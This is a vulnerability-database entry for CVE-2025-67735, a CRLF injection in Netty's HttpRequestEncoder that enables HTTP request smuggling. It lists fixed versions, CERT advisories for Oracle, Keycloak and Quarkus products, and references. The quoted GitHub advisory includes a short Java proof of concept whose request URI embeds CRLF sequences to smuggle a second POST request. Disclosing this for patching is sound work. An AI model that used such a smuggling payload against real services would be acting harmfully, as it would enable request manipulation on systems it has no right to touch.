CVE-2025-67735
mediumpriority · track · 0EPSS 0.003 · 24 %ileDEEUNLRUUSEPSS · scored 2026-10-22
Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.129.Final and 4.2.8.Final, the `io.netty.handler.codec.http.HttpRequestEncoder` has a CRLF injection with the request URI when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the URI. Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. Versions 4.1.129.Final and 4.2.8.Final fix the issue.
cvss
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base score 0–10 · higher = more severe · hover a vector to decode
ssvc
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weaknesses
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affected products (39)
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advisories (6)
Vendor and ecosystem advisories describing this.
- NCSC-2026-0021Kwetsbaarheden verholpen in Oracle Database Server productenNL2026-01-21csaf · ncsc_nlNL
Oracle heeft kwetsbaarheden verholpen in Oracle Database Server producten.
- WID-SEC-W-2026-0157Oracle Database Server: Mehrere SchwachstellenDeutsch2026-01-20csaf · cert_bundDE
Ein entfernter, anonymer oder authentisierter Angreifer kann mehrere Schwachstellen in Oracle Database Server ausnutzen, um die Vertraulichkeit, Integrität und Verfügbarkeit zu gefährden.
- WID-SEC-W-2026-0212Keycloak (netty-codec-http): Schwachstelle ermöglicht Manipulation von DateienDeutsch2026-01-25csaf · cert_bundDE
Ein entfernter, anonymer Angreifer kann eine Schwachstelle in Keycloak ausnutzen, um Dateien zu manipulieren.
- WID-SEC-W-2026-0325Red Hat Build of Quarkus: Mehrere SchwachstellenDeutsch2026-02-05csaf · cert_bundDE
Ein entfernter, authentisierter oder anonymer Angreifer kann mehrere Schwachstellen in Red Hat Enterprise Linux ausnutzen, um einen Denial of Service Angriff durchzuführen, vertrauliche Informationen offenzulegen oder Daten zu manipulieren.
- WID-SEC-W-2026-1204Oracle Financial Services Applications: Mehrere SchwachstellenDeutsch2026-04-21csaf · cert_bundDE
Ein entfernter, anonymer oder authentisierter Angreifer kann mehrere Schwachstellen in Oracle Financial Services Applications ausnutzen, um die Vertraulichkeit, Integrität und Verfügbarkeit zu gefährden.
- GHSA-84h7-rjj3-6jx4Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder2025-12-15ghsa · osvUS
### Summary The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri. ### Details The `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`) The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers. ### PoC Simple reproducer: ```java public static void main(String[] args) { EmbeddedChannel client = new EmbeddedChannel(); client.pipeline().addLast(new HttpClientCodec()); EmbeddedChannel server = new EmbeddedChannel(); server.pipeline().addLast(new HttpServerCodec()); server.pipeline().addLast(new ChannelInboundHandlerAdapter() { @Override public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { System.out.println("Processing msg " + msg); } }); DefaultHttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.GET, "/s1 HTTP/1.1\r\n" + "\r\n" + "POST /s2 HTTP/1.1\r\n" + "content-length: 11\r\n\r\n" + "Hello World" + "GET /s1" ); client.writeAndFlush(request); ByteBuf tmp; while ((tmp = client.readOutbound()) != null) { server.writeInbound(tmp); } } ``` ### Impact Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection.
also known as (5)
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sources
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references (6)
External citations — patches, advisories, analysis.
- https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4cnnvd
- https://netty.io/downloads.htmlPatchcnnvd
- https://www.oracle.com/security-alerts/cpuapr2026.htmlcnnvd
- https://www.oracle.com/security-alerts/cpujan2026.htmlcnnvd
- https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4enisa_euvd
- https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4ExploitVendor Advisorynvd
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